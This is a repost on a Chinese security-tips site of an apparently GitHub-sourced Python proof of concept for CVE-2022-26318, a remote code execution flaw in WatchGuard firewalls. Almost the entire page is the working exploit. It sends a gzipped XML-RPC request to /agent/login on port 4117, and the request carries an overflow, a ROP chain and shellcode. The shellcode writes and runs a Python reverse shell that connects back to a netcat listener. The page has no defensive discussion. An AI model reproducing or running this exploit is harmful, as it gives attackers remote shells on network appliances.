watchguard_cve-2022-26318

渗透技巧 3年前 (2022) admin
849 0 0

 

Watchguard RCE POC CVE-2022-26318

#!/usr/bin/python3
# -*- coding: utf-8 -*-

# CVE-2022-26318

import socket
import ssl
import gzip



# Remote WatchGuard XTM or FireWare OS
R_HOST = "1.1.1.1"
# Local host with nc listener: nc -l 8.8.8.8 8888
L_HOST = "8.8.8.8"


def buildPayload(L_HOST):
    payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><".encode()
    payload += ("A"*3181).encode()
    payload += "MFA>".encode()
    payload += ("<BBBBMFA>"*3680).encode()
    payload += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00h\xf9@\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\xa9@\x00\x00\x00\x00\x00H\x8d=\x9d\x00\x00\x00\xbeA\x02\x00\x00\xba\xb6\x01\x00\x00\xb8\x02\x00\x00\x00\x0f\x05H\x89\x05\x92\x00\x00\x00H\x8b\x15\x93\x00\x00\x00H\x8d5\x94\x00\x00\x00H\x8b=}\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05H\x8b=o\x00\x00\x00\xb8\x03\x00\x00\x00\x0f\x05\xb8;\x00\x00\x00H\x8d=?\x00\x00\x00H\x89= \x00\x00\x00H\x8d5A\x00\x00\x00H\x895\x1a\x00\x00\x00H\x8d5\x0b\x00\x00\x001\xd2\x0f\x05\xb8<\x00\x00\x00\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/usr/bin/python\x00/tmp/test.py\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\x01\x00\x00\x00\x00\x00\x00'
    payload += 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",8888)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);call(["/bin/python","-i"]);'.format(L_HOST).encode()
    return gzip.compress(payload, 9)


def buildHTTP(L_HOST, R_HOST):
    http_payload = "POST /agent/login HTTP/1.1\r\n"
    http_payload += "Host: {}:4117\r\n".format(R_HOST)
    http_payload += "User-Agent: CVE-2022-26318\r\n"
    http_payload += "Accept-Encoding: gzip, deflate\r\n"
    http_payload += "Accept: */*\r\n"
    http_payload += "Connection: close\r\n"
    http_payload += "Content-Encoding: gzip\r\n"

    gzippedExploit = buildPayload(L_HOST)

    http_payload += "Content-Length: {}\r\n".format(len(gzippedExploit))
    http_payload += "\r\n"

    return http_payload.encode() + gzippedExploit


def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    wrappedSocket = ssl.wrap_socket(sock=sock, cert_reqs=ssl.CERT_NONE)

    server_address = (R_HOST, 4117)
    print('connecting to {} port {}'.format(*server_address))

    wrappedSocket.settimeout(3)
    try:
        wrappedSocket.connect(server_address)
        print("sending payload...")
        payload = buildHTTP(L_HOST, R_HOST)
        wrappedSocket.sendall(payload)
    except:
        pass

    finally:
        print('closing socket')
        wrappedSocket.close()


main()

 

 

原文始发于Github:watchguard_cve-2022-26318

版权声明:admin 发表于 2022年3月28日 下午9:36。
转载请注明:watchguard_cve-2022-26318 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...